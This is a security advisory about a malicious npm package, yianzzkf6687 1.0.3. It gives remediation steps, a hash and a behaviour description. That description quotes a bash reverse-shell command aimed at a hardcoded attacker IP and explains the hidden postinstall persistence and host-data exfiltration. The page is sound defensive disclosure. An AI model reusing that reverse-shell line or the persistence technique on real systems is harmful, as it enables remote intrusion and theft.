Which versions of yianzzkf6687 are malicious?

The following npm versions of yianzzkf6687 are flagged malicious: 1.0.3. Treat any of these as compromised.

How do I remediate yianzzkf6687 if I installed it?

yianzzkf6687 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed yianzzkf6687 — how do I know if it already compromised me?

If yianzzkf6687 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is yianzzkf6687 part of a known attack campaign?

Yes — yianzzkf6687 is associated with the IN-MAL-2026-007092 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find yianzzkf6687 across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for yianzzkf6687 (version 1.0.3).

Malicious package

yianzzkf6687npm

Advisory published Jun 20, 2026Updated Jun 20, 2026

yianzzkf6687 is a confirmed malicious npm package (MAL-2026-6235) that opens a backdoor for remote access (malicious version 1.0.3). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in yianzzkf6687 (npm)

MAL-2026-6235

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall yianzzkf6687

What this malware does

On npm install, the postinstall hook (scripts/postinstall.js) detach-spawns scripts/shell.js with detached: true, stdio: 'ignore', windowsHide: true and unref()s it, so the malicious process persists silently after npm install returns. scripts/shell.js hardcodes HOST = '114.67.90.67' and opens reverse shells to that IP across multiple fallback ports (3334, 4444, 443, 80, 8080, 53) using Node net, bash -c "bash -i >& /dev/tcp/<HOST>/<port> 0>&1", and a Python fallback, then uses setInterval to keep the process alive. It also sends an HTTP GET to http://114.67.90.67:8333/ping with the installer's hostname, username, cwd, and OS platform/release as query parameters, confirming victim acquisition. The package advertises itself as a string-manipulation utility, providing cover for the backdoor. Installing this package gives the operator of 114.67.90.67 interactive shell access on the installer's machine.

Malicious versions

1 flagged

1.0.3

Indicators of compromise (SHA-256)

a59a0aee58573b3030b9d541980fa9d7df8ea55d4e6cc5b3bb349452b908d0e9

Detection & response playbook

Backdoor / remote access

Find it
Search your lockfiles and build artifacts for yianzzkf6687 (version 1.0.3).
If you installed it — respond
yianzzkf6687 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If yianzzkf6687 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. yianzzkf6687 on npm has been identified as a malicious package (version 1.0.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007092

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks yianzzkf6687-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

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